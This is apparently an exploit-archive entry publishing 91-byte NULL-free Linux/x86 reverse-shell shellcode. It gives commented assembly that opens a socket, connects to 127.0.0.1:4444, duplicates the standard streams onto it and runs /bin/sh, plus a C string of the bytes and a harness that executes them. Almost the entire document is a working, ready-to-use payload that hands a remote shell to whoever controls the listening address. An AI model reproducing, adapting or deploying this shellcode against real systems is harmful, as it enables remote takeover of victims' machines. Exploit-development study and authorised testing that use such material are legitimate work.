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Linux/x86 Reverse Shell NULL Free 127.0.0.1:4444 Shellcode

Linux/x86 Reverse Shell NULL Free 127.0.0.1:4444 Shellcode
Posted Oct 16, 2019
Authored by bolonobolo

91 bytes small Linux/x86 reverse shell NULL free 127.0.0.1:4444 shellcode.

tags | shell, x86, shellcode
systems | linux
MD5 | 3db8a3b1f503151d8569756ef3829a15

Linux/x86 Reverse Shell NULL Free 127.0.0.1:4444 Shellcode

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# Exploit Title: Linux/x86 - Reverse Shell NULL free 127.0.0.1:4444 Shellcode (91 bytes)
# Date: 2019-10-16
# Author: bolonobolo
# Tested on: Linux x86
# Software: N/A
# CVE: N/A

/*
global _start

section .text
_start:


;socket()
xor ecx, ecx ; xoring ECX
xor ebx, ebx ; xoring EBX
mul ebx ; xoring EAX and EDX
inc cl ; ECX should be 1
inc bl
inc bl ; EBX should be 2
mov ax, 0x167 ;
int 0x80 ; call socket()

;connect() ; move the return value of socket
xchg ebx, eax ; from EAX to EBX ready for the next syscalls

; push sockaddr structure in the stack
dec cl
push ecx ; unused char (0)

; move the lenght (16 bytes) of IP in EDX
mov dl, 0x16

; the ip address 1.0.0.127 could be 4.3.3.130 to avoid NULL bytes
mov ecx, 0x04030382 ; mov ip in ecx
sub ecx, 0x03030303 ; subtract 3.3.3.3 from ip
push ecx ; load the real ip in the stack
push word 0x5c11 ; port 4444
push word 0x02 ; AF_INET family
lea ecx, [esp]
; EBX still contain the value of the
opened socket
mov ax, 0x16a
int 0x80

; dup2()
xor ecx, ecx
mov cl, 0x3

dup2:
xor eax, eax
; EBX still contain the value of the
opened socket
mov al, 0x3f
dec cl
int 0x80
jnz dup2

; execve() from the previous polymorphic analysis 25 bytes
cdq ; xor edx
mul edx ; xor eax
lea ecx, [eax] ; xor ecx
mov esi, 0x68732f2f
mov edi, 0x6e69622f
push ecx ; push NULL in stack
push esi ; push hs/ in stack
push edi ; push nib// in stack
lea ebx, [esp] ; load stack pointer to ebx
mov al, 0xb ; load execve in eax
int 0x80
*/

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
"\x31\xc9\x31\xdb\xf7\xe3\xfe\xc1\xfe\xc3\xfe\xc3\x66\xb8\x67\x01\xcd\x80\x93\xfe\xc9\x51\xb2\x16\xb9\x82\x03\x03\x04\x81\xe9\x03\x03\x03\x03\x51\x66\x68\x11\x5c\x66\x6a\x02\x8d\x0c\x24\x66\xb8\x6a\x01\xcd\x80\x31\xc9\xb1\x03\x31\xc0\xb0\x3f\xfe\xc9\xcd\x80\x75\xf6\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80";

void main()
{

printf("Shellcode Length: %d\n", strlen(code));

int (*ret)() = (int(*)())code;

ret();

}
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